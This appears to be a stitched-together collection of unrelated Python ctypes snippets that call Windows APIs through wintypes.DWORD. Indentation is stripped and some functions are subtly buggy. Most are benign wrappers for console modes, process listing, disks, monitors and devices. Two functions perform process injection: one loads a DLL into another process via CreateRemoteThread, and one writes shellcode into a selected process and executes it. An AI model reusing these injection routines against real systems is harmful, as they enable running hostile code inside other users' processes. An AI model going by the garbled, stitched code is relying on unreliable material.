def get_clients(self):
buf = (ctypes.c_uint64 * 16)(*([0] * 16))
_len = wintypes.DWORD(ctypes.sizeof(buf))
ret = virtualMIDIGetProcesses(self._id, buf, ctypes.byref(_len))
if ret != 0:
return [
buf[i]
for i in range(0, _len.value // ctypes.sizeof(ctypes.c_uint64))
]
else:
raise DriverError(ctypes.GetLastError(),
"couldn't get client PIDs")
def process__get_all_pids():
process_buff = (wintypes.DWORD * 2048)()
process_size = wintypes.DWORD()
res = windll.psapi.EnumProcesses(process_buff, c_sizeof(process_buff),
byref(process_size))
if res != 0:
raise WinError()
count = process_size / c_sizeof(wintypes.DWORD)
ret = []
for i in range(count):
ret.append(process_buff[i])
return ret
def protect_process_memory(
process_handle: int,
address: int,
size: int,
flags: Protection = READ | WRITE | EXECUTE,
) -> int:
old_protect = wintypes.DWORD(0)
_virtual_protect(process_handle, address, size, PROTECTION_FLAGS[flags],
ctypes.byref(old_protect))
return old_protect.value
def WSARecvFrom(hsock, count, sockaddr, overlapped, flags=0):
"""generic recvfrom (must pass an initialized sockaddr object)"""
data = ctypes.create_string_buffer(count)
buf = WSABUF(count, data)
sockaddr_len = ctypes.c_int(ctypes.sizeof(sockaddr))
dw_flags = wintypes.DWORD(flags)
sentcount = wintypes.DWORD(0)
if isinstance(hsock, PyHANDLE):
hsock = hsock.handle
if isinstance(overlapped, PyOVERLAPPED):
overlapped = _get_inner_overlapped(overlapped)
rc = _WSARecvFrom(hsock, ctypes.byref(buf), 1, ctypes.byref(sentcount),
ctypes.byref(dw_flags), ctypes.byref(sockaddr),
ctypes.byref(sockaddr_len), ctypes.byref(overlapped), 0)
error = ctypes.GetLastError()
if rc != 0 and error != win32file.WSA_IO_PENDING:
raise ctypes.WinError(error)
return data, dw_flags
def _socket_addr_to_str(socket_addr):
addr_str_len = wintypes.DWORD(256)
addr_str = ctypes.create_unicode_buffer(256)
ret_val = ws2_32.WSAAddressToStringW(socket_addr.lpSockaddr,
socket_addr.iSockaddrLength, None,
addr_str, ctypes.byref(addr_str_len))
if ret_val:
raise exception.CloudbaseInitException(
"WSAAddressToStringW failed: %s" % ws2_32.WSAGetLastError())
return addr_str.value
def enum_proc(hWnd, lParam):
#if user32.IsWindowVisible(hWnd):
pid = wintypes.DWORD()
tid = user32.GetWindowThreadProcessId(hWnd, ctypes.byref(pid))
length = user32.GetWindowTextLengthW(hWnd) + 1
title = ctypes.create_unicode_buffer(length)
user32.GetWindowTextW(hWnd, title, length)
if title.value.startswith(self.name):
results.append((WindowInfo(pid.value, title.value), hWnd))
return True
def read_option(self, handle, option):
"""
Reads information about the internet connection, which may be a string or struct
:param handle:
The handle to query for the info
:param option:
The (int) option to get
:return:
A string, or one of the InternetCertificateInfo or InternetProxyInfo structs
"""
option_buffer_size = 8192
try_again = True
while try_again:
try_again = False
to_read_was_read = wintypes.DWORD(option_buffer_size)
option_buffer = ctypes.create_string_buffer(option_buffer_size)
ref = ctypes.byref(option_buffer)
success = wininet.InternetQueryOptionA(
handle, option, ref, ctypes.byref(to_read_was_read))
if not success:
if ctypes.GetLastError() != self.ERROR_INSUFFICIENT_BUFFER:
raise NonHttpError(self.extract_error())
# The error was a buffer that was too small, so try again
option_buffer_size = to_read_was_read.value
try_again = True
continue
if option == self.INTERNET_OPTION_SECURITY_CERTIFICATE_STRUCT:
length = min(len(option_buffer),
ctypes.sizeof(InternetCertificateInfo))
cert_info = InternetCertificateInfo()
ctypes.memmove(ctypes.addressof(cert_info), option_buffer,
length)
return cert_info
elif option == self.INTERNET_OPTION_PROXY:
length = min(len(option_buffer),
ctypes.sizeof(InternetProxyInfo))
proxy_info = InternetProxyInfo()
ctypes.memmove(ctypes.addressof(proxy_info), option_buffer,
length)
return proxy_info
else:
option = b''
if to_read_was_read.value > 0:
option += option_buffer.raw[:to_read_was_read.value]
return option.decode('cp1252').rstrip("\x00")
def get_geometry(self):
if not self._geom:
geom = Win32_DiskGeometry()
bytes_returned = wintypes.DWORD()
ret_val = kernel32.DeviceIoControl(
self._handle, self.IOCTL_DISK_GET_DRIVE_GEOMETRY, 0, 0,
ctypes.byref(geom), ctypes.sizeof(geom),
ctypes.byref(bytes_returned), 0)
if not ret_val:
raise Exception("Cannot get disk geometry")
self._geom = geom
return self._geom
def LookupAccountSid(sid, machine=None):
prototype = ctypes.WINFUNCTYPE(
wintypes.BOOL, # return value
wintypes.LPCWSTR,
PSID,
wintypes.LPCWSTR,
wintypes.LPDWORD,
wintypes.LPCWSTR,
wintypes.LPDWORD,
wintypes.LPDWORD)
paramflags = ((_In_, 'lpSystemName'), (_In_, 'lpSid'),
(_Out_, 'lpName', ctypes.create_unicode_buffer(UNLEN)),
(_In_, 'cchName', ctypes.byref(wintypes.DWORD(UNLEN))),
(_Out_, 'lpReferencedDomainName',
ctypes.create_unicode_buffer(UNLEN)),
(_In_, 'cchReferencedDomainName',
ctypes.byref(wintypes.DWORD(UNLEN))), (_Out_, 'peUse'))
_LookupAccountSid = prototype(('LookupAccountSidW', advapi32), paramflags)
_LookupAccountSid.errcheck = errcheckBOOL
lpname, lprefdn, peuse = _LookupAccountSid(machine, sid)
return (lpname.value, lprefdn.value, peuse)
def _get_layout(self):
layout = Win32_DRIVE_LAYOUT_INFORMATION_EX()
bytes_returned = wintypes.DWORD()
ret_val = kernel32.DeviceIoControl(
self._handle, winioctlcon.IOCTL_DISK_GET_DRIVE_LAYOUT_EX, 0, 0,
ctypes.byref(layout), ctypes.sizeof(layout),
ctypes.byref(bytes_returned), 0)
if not ret_val:
raise exception.WindowsCloudbaseInitException(
"Cannot get disk layout: %r")
return layout
def _inject_dll(process_id: int, path: Union[str, Path]) -> int:
path = Path(path).resolve()
if not path.exists():
raise FileNotFoundError(f"Given DLL path does not exist: {path}.")
process_handle = open_process(process_id)
path_bytes = str(path).encode(ENCODING)
path_size = len(path_bytes) + 1 # increment to account for null terminator
# allocate memory required to put our DLL path
parameter_address = allocate_memory(process_handle, 0, path_size)
# write DLL path string into allocated space
write_process_memory(process_handle, parameter_address, path_bytes)
if _is_wow_64_process(
process_handle
): # if we are injecting into 32-bit process from 64-bit
# get base address to kernel32.dll module of the process
module_base = get_base_address(process_id, _kernel32_name)
# look up offset of LoadLibraryA in PE header of WoW64 kernel32.dll
load_library_offset = _kernel32_symbols.get(_load_library_name, 0)
# if function is not present, raise an error
if not load_library_offset:
raise LookupError(
f"Can not find {_load_library_name} in WoW64 kernel32.dll module."
)
# otherwise, get an actual address
load_library = module_base + load_library_offset
else: # otherwise, get address normally
load_library = _get_module_proc_address("kernel32.dll", "LoadLibraryA")
thread_id = wintypes.DWORD(0)
# create remote thread, with start routine of LoadLibraryA(DLLPath)
thread_handle = _create_remote_thread(process_handle, None, 0,
load_library, parameter_address, 0,
ctypes.byref(thread_id))
# wait for the handle
_wait_for_single_object(thread_handle, INFINITE)
# free memory used to allocate DLL path
free_memory(process_handle, parameter_address, path_size)
# close process and thread handles
_close_handle(process_handle)
_close_handle(thread_handle)
return thread_id.value
def enable():
hOut = windll.kernel32.GetStdHandle(VirtualTerminalSequences.STD_OUTPUT_HANDLE)
if hOut == VirtualTerminalSequences.INVALID_HANDLE_VALUE:
return False
dwMode = wintypes.DWORD()
if windll.kernel32.GetConsoleMode(hOut, byref(dwMode)) == 0:
return False
dwMode.value |= VirtualTerminalSequences.ENABLE_VIRTUAL_TERMINAL_PROCESSING
# dwMode.value |= ENABLE_LVB_GRID_WORLDWIDE
if windll.kernel32.SetConsoleMode(hOut, dwMode) == 0:
return False
return True
def get_console_mode(stream=sys.stdin):
file_handle = msvcrt.get_osfhandle(stream.fileno())
getConsoleMode = windll.kernel32.GetConsoleMode
getConsoleMode.argtypes, getConsoleMode.restype = ([
wintypes.HANDLE, wintypes.LPDWORD
], wintypes.BOOL)
mode = wintypes.DWORD(0)
if getConsoleMode(file_handle, byref(mode)):
return mode.value
else:
err = ctypes.get_last_error()
raise ctypes.WinError(err)
def read_packet(self):
buf = ctypes.create_string_buffer(self.descriptor.report_size_in + 1)
num_read = wintypes.DWORD()
ret = kernel32.ReadFile(self.handle, buf, len(buf),
ctypes.byref(num_read), None)
if not ret:
raise ctypes.WinError()
if num_read.value != self.descriptor.report_size_in + 1:
raise OSError("Failed to read full length report from device.")
return buf.raw[1:] # Strip report ID
def waitThenAdd(self, xres, yres, numImages, buf, eventToWait, newEvent):
win32event.WaitForSingleObject(eventToWait.value, 10000)
dwSize = wintypes.DWORD(2 * xres * yres)
status = DWORD()
for i in range(numImages - 1):
hEvent = wintypes.HANDLE(1 + i)
err = self.f_abe(self.hcam, hEvent, WORD(4), DWORD(0), DWORD(0),
DWORD(0), addressof(buf[i]), dwSize,
byref(status))
err = self.f_abe(self.hcam, newEvent, WORD(4), DWORD(0), DWORD(0),
DWORD(0), addressof(buf[numImages - 1]), dwSize,
byref(status))
def get_physical_monitors_from_HMONITOR(hmonitor: wintypes.HMONITOR):
num = wintypes.DWORD()
windll.Dxva2.GetNumberOfPhysicalMonitorsFromHMONITOR(hmonitor, byref(num))
class PHYSICAL_MONITOER(Structure):
_fields_ = [("hPhysicalMonitor", wintypes.HANDLE),
("szPhysicalMonitorDescription", wintypes.WCHAR * 128)]
phy_monitors_arr = (PHYSICAL_MONITOER * num.value)()
windll.Dxva2.GetPhysicalMonitorsFromHMONITOR(hmonitor, num,
phy_monitors_arr)
return list(phy_monitors_arr)
def CalConvert(self, counts, scans):
"""Performs the calibration of one or more scans according to the
previously called CalSetup function."""
err = daq.daqCalConvert(
self.handle,
ct.pointer(counts),
wt.DWORD(scans),
)
if err != 0:
raise DaqError(err)
def enable_vt_mode(filehandle=None):
"""
Enables virtual terminal processing mode for the given console or stdout
"""
if filehandle is None:
filehandle = msvcrt.get_osfhandle(sys.__stdout__.fileno())
current_mode = wintypes.DWORD()
KERNEL32.GetConsoleMode(filehandle, ctypes.byref(current_mode))
new_mode = 0x0004 | current_mode.value
KERNEL32.SetConsoleMode(filehandle, new_mode)
def execute_process_as_user(self,
token,
args,
wait=True,
new_console=False):
"""Executes processes as an user.
:param token: Represents the user logon session token, resulted from
running the 'create_user_logon_session' method.
:param args: The arguments with which the process will be runned with.
:param wait: Specifies if it's needed to wait for the process
handler to finish up running all the operations
on the process object.
:param new_console: Specifies whether the process should run
under a new console or not.
:return: The exit code value resulted from the running process.
:rtype: int
"""
LOG.debug("Executing process as user, command line: %s", args)
proc_info = Win32_PROCESS_INFORMATION()
startup_info = Win32_STARTUPINFO_W()
startup_info.cb = ctypes.sizeof(Win32_STARTUPINFO_W)
startup_info.lpDesktop = ""
flags = self.CREATE_NEW_CONSOLE if new_console else 0
cmdline = ctypes.create_unicode_buffer(subprocess.list2cmdline(args))
try:
ret_val = advapi32.CreateProcessAsUserW(token, None, cmdline, None,
None, False, flags, None,
None,
ctypes.byref(startup_info),
ctypes.byref(proc_info))
if not ret_val:
raise exception.WindowsCloudbaseInitException(
"CreateProcessAsUserW failed: %r")
if wait and proc_info.hProcess:
kernel32.WaitForSingleObject(proc_info.hProcess, self.INFINITE)
exit_code = wintypes.DWORD()
if not kernel32.GetExitCodeProcess(proc_info.hProcess,
ctypes.byref(exit_code)):
raise exception.WindowsCloudbaseInitException(
"GetExitCodeProcess failed: %r")
return exit_code.value
finally:
if proc_info.hProcess:
kernel32.CloseHandle(proc_info.hProcess)
if proc_info.hThread:
kernel32.CloseHandle(proc_info.hThread)
def CvtLinearSetupConvert(self, nscan, readingsPos, nReadings, signal1,
voltage1, signal2, voltage2, avg, scans):
"""Both sets up the linear conversion process and converts the ADC
readings into floating point numbers."""
counts = self.dataBuf
fValues = (ct.c_float * self.dBufSz)()
nValues = self.dBufSz
err = daq.daqCvtLinearSetupConvert(
wt.DWORD(nscan),
wt.DWORD(readingsPos),
wt.DWORD(nReadings),
ct.c_float(signal1),
ct.c_float(voltage1),
ct.c_float(signal2),
ct.c_float(voltage2),
wt.DWORD(avg),
ct.pointer(counts),
wt.DWORD(scans),
ct.pointer(fValues),
wt.DWORD(nValues),
)
if err != 0:
raise DaqError(err)
return fValues
def makeRequest(cls):
"""
Issue a WININET request based on the class parameters.
:return: None
"""
hInternet = wi.InternetOpenW(cls.user_agent,
wi.INTERNET_OPEN_TYPE_DIRECT, None, None,
0)
if hInternet is None:
raise ct.WinError()
hSession = wi.InternetConnectW(hInternet, cls.url, cls.port, None,
None, wi.INTERNET_SERVICE_HTTP, 0, 0)
if hSession is None:
raise ct.WinError()
hRequest = wi.HttpOpenRequestW(hSession, cls.verb, '', None, None,
None, 0, 0)
if hRequest is None:
raise ct.WinError()
request_sent = wi.HttpSendRequestW(hRequest, None, 0, None, 0)
if request_sent == 0:
raise ct.WinError()
# Setup the necessary parameters to read the server's response
buff_size = wt.DWORD(cls.size)
buf = (ct.c_char * buff_size.value)()
keep_reading = 1
bytes_read = wt.DWORD(-1)
response_str = str()
while keep_reading == 1 and bytes_read.value != 0:
# Read the entire response.
keep_reading = wi.InternetReadFile(hRequest, buf, buff_size,
ct.byref(bytes_read))
response_str += str(buf.value)
return response_str
def _ABSetPos(edge, appbarWindow):
barData = APPBARDATA()
barData.cbSize = wintypes.DWORD(sizeof(barData))
barData.hWnd = appbarWindow.GetHandle()
barData.uEdge = edge
deskW = wx.SystemSettings_GetMetric(wx.SYS_SCREEN_X)
deskH = wx.SystemSettings_GetMetric(wx.SYS_SCREEN_Y)
winW, winH = appbarWindow.Size
if barData.uEdge == ABEdge.Left or barData.uEdge == ABEdge.Right:
barData.rc.top = 0
barData.rc.bottom = deskH
if barData.uEdge == ABEdge.Left:
barData.rc.left = 0
barData.rc.right = winW
else:
barData.rc.right = deskW
barData.rc.left = deskW - winW
else:
barData.rc.left = 0
barData.rc.right = deskW
if barData.uEdge == ABEdge.Top:
barData.rc.top = 0
barData.rc.bottom = winH
else:
barData.rc.bottom = deskH
barData.rc.top = deskH - winH
shell32.SHAppBarMessage(ABMsg.ABM_QUERYPOS, PAPPBARDATA(barData))
# http://msdn.microsoft.com/en-us/library/bb776821.aspx
if barData.uEdge == ABEdge.Left:
barData.rc.right = barData.rc.left + winW
elif barData.uEdge == ABEdge.Right:
barData.rc.left = barData.rc.right - winW
elif barData.uEdge == ABEdge.Top:
barData.rc.bottom = barData.rc.top + winH
elif barData.uEdge == ABEdge.Bottom:
barData.rc.top = barData.rc.bottom - winH
shell32.SHAppBarMessage(ABMsg.ABM_SETPOS, PAPPBARDATA(barData))
def _resize():
appbarWindow.SetPosition((barData.rc.left, barData.rc.top))
appbarWindow.SetSize((barData.rc.right - barData.rc.left,
barData.rc.bottom - barData.rc.top))
# This is done async, because windows will send a resize
# after a new appbar is added. if we size right away, the
# windows resize comes last and overrides us.
wx.CallAfter(_resize)
def inject_process_CreateRemoteThread(self):
print("""
[*] =======================================================
[*] Find a process to inject shellcode into using process
[*] listing, then VirtualAllocEx(), WriteProcessMemory(),
[*] CreateRemoteThread()
[*] =======================================================""")
pid = self.select_pid()
ph = self.kernel32.OpenProcess(self.PROCESS_SOME_ACCESS, False, pid)
print('[*] Process handle is: 0x{:06X}'.format(ph))
if ph == 0:
return
memptr = self.VirtualAllocEx(
ph, 0, len(self.shellcode),
self.MEM_COMMIT_RESERVE,
self.PAGE_READWRITE
)
print('[*] VirtualAllocEx() memory at: 0x{:08X}'.format(memptr))
if memptr == 0:
return
nbytes = ctypes.c_int(0)
result = self.WriteProcessMemory(
ph, memptr, self.shellcode,
len(self.shellcode), ctypes.byref(nbytes)
)
print('[+] Bytes written = {}'.format(nbytes.value))
if result == 0:
print("[-] WriteProcessMemory() Failed - Error Code: {}".format(
self.kernel32.GetLastError()
))
return
old_protection = ctypes.pointer(wt.DWORD())
result = self.VirtualProtectEx(
ph, memptr, len(self.shellcode),
self.PAGE_READ_EXECUTE, old_protection
)
if result == 0:
print("[-] VirtualProtectEx() Failed - Error Code: {}".format(
self.kernel32.GetLastError()
))
return
th = self.CreateRemoteThread(ph, None, 0, memptr, None, 0, None)
if th == 0:
print("[-] CreateRemoteThread() Failed - Error Code: {}".format(
self.kernel32.GetLastError()
))
return
self.VirtualFreeEx(ph, memptr, 0, 0xC000)
self.CloseHandle(ph)
def setconsole(bRestore):
if os.name == "nt":
if not bRestore: os.system(" ") #VT100 in Windows
import ctypes
from ctypes import wintypes
global h #prevent garbage collection
def on_exit(event):
print((SET_BKGND_COLOR(0) + SET_FORE_COLOR(7) + SET_CURSOR_FMT + CLEAR_LINE + SHOW_CURSOR) % (height, 0))
setconsole(True, False)
return 0
_kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
_HandlerRoutine = ctypes.WINFUNCTYPE(wintypes.BOOL, wintypes.DWORD)
_kernel32.SetConsoleCtrlHandler.argtypes = (_HandlerRoutine, wintypes.BOOL)
h = _HandlerRoutine(on_exit)
_kernel32.SetConsoleCtrlHandler(h, True)
import subprocess
hStdin = _kernel32.GetStdHandle(subprocess.STD_INPUT_HANDLE)
ENABLE_LINE_INPUT = 0x0002
ENABLE_ECHO_INPUT = 0x0004
mode = wintypes.DWORD()
_kernel32.GetConsoleMode(hStdin, ctypes.byref(mode))
_kernel32.SetConsoleMode(hStdin, mode.value & (~(ENABLE_ECHO_INPUT | ENABLE_LINE_INPUT)) if not bRestore else mode.value | ENABLE_ECHO_INPUT | ENABLE_LINE_INPUT)
else:
def termination_handler(signum, frame):
global height
print((SET_BKGND_COLOR(0) + SET_FORE_COLOR(7) + SET_CURSOR_FMT + CLEAR_LINE + SHOW_CURSOR) % (height, 0))
setconsole(True, False)
sys.exit()
fd = sys.stdin.fileno()
import termios
attr = [0,0,0,0] if not os.isatty(fd) else termios.tcgetattr(fd)[:]
import fcntl
CurFl = fcntl.fcntl(fd, fcntl.F_GETFL, 0)
if not bRestore:
import signal
signal.signal(signal.SIGFPE, termination_handler)
signal.signal(signal.SIGILL, termination_handler)
signal.signal(signal.SIGSEGV, termination_handler)
signal.signal(signal.SIGBUS, termination_handler)
signal.signal(signal.SIGABRT, termination_handler)
signal.signal(signal.SIGTRAP, termination_handler)
signal.signal(signal.SIGSYS, termination_handler)
signal.signal(signal.SIGINT, termination_handler)
signal.signal(signal.SIGTERM, termination_handler)
signal.signal(signal.SIGQUIT, termination_handler)
signal.signal(signal.SIGHUP, termination_handler)
attr[3] &= ~(termios.ICANON | termios.ECHO)
#if nonblock and os.isatty(fd): fcntl.fcntl(fd, fcntl.F_SETFL, CurFl | os.O_NONBLOCK) # STDIN_FILENO=0, set to nonblocking reads
else:
attr[3] |= termios.ICANON | termios.ECHO
#if (CurFl & os.O_NONBLOCK): fcntl.fcntl(fd, fcntl.F_SETFL, CurFl & ~os.O_NONBLOCK)
if os.isatty(fd): termios.tcsetattr(fd, termios.TCSANOW, attr)
def _set_conout_mode(new_mode, mask=0xFFFFFFFF):
# don't assume StandardOutput is a console.
# open CONOUT$ instead
fdout = os.open('CONOUT$', os.O_RDWR)
try:
hout = msvcrt.get_osfhandle(fdout)
old_mode = wintypes.DWORD()
kernel32.GetConsoleMode(hout, ctypes.byref(old_mode))
mode = (new_mode & mask) | (old_mode.value & ~mask)
kernel32.SetConsoleMode(hout, mode)
return old_mode.value
finally:
os.close(fdout)
def list_pids():
'''Return sorted list of process IDs.'''
length = 4096
PID_SIZE = ctypes.sizeof(wintypes.DWORD)
while True:
pids = (wintypes.DWORD * length)()
cb = ctypes.sizeof(pids)
cbret = wintypes.DWORD()
psapi.EnumProcesses(pids, cb, ctypes.byref(cbret))
if cbret.value < cb:
length = cbret.value // PID_SIZE
return sorted(pids[:length])
length *= 2
def show_privilege_information():
privileges = get_privilege_information()
for i in range(privileges.PrivilegeCount):
return_length = wintypes.DWORD(10240)
language_id = wintypes.DWORD(128)
display_name = create_unicode_buffer(return_length.value)
privilege_name = create_unicode_buffer(return_length.value)
enabled = bool(privileges.Privileges[i].Attributes
& SE_PRIVILEGE_ENABLED)
res = advapi32.LookupPrivilegeNameW(None,
privileges.Privileges[i].Luid,
privilege_name, return_length)
if not res:
continue
privilege_name = str(privilege_name[:return_length.value])
res = advapi32.LookupPrivilegeDisplayNameW(None, privilege_name,
display_name, return_length,
language_id)
if not res:
continue
display_name = str(display_name[:return_length.value])
print("{}({}) : {}".format(privilege_name, display_name, enabled))
def _get_capabilities(self):
# this is slow
length = wintypes.DWORD()
if not ctypes.windll.dxva2.GetCapabilitiesStringLength(
self._handle, ctypes.byref(length)):
raise ctypes.WinError()
capabilities_string = (ctypes.c_char * length.value)()
if not ctypes.windll.dxva2.CapabilitiesRequestAndCapabilitiesReply(
self._handle, capabilities_string, length):
raise ctypes.WinError()
self._capabilities_raw = capabilities_string.value.decode('ascii')
self._capabilities = self.parse_capabilities_string(
self._capabilities_raw)
def write_packet(self, packet):
out = b"\0" + packet # Prepend report ID
num_written = wintypes.DWORD()
ret = kernel32.WriteFile(
self.handle, out, len(out), ctypes.byref(num_written), None
)
if not ret:
raise ctypes.WinError()
if num_written.value != len(out):
raise OSError(
"Failed to write complete packet. "
+ "Expected %d, but got %d" % (len(out), num_written.value)
)
def pids():
"""Returns a list of PIDs currently running on the system."""
length = 4096
PID_SIZE = ctypes.sizeof(wintypes.DWORD)
while True:
pids = (wintypes.DWORD * length)()
cb = ctypes.sizeof(pids)
cbret = wintypes.DWORD()
psapi.EnumProcesses(pids, cb, ctypes.byref(cbret))
if cbret.value < cb:
length = cbret.value // PID_SIZE
return list(pids[:length])
length *= 2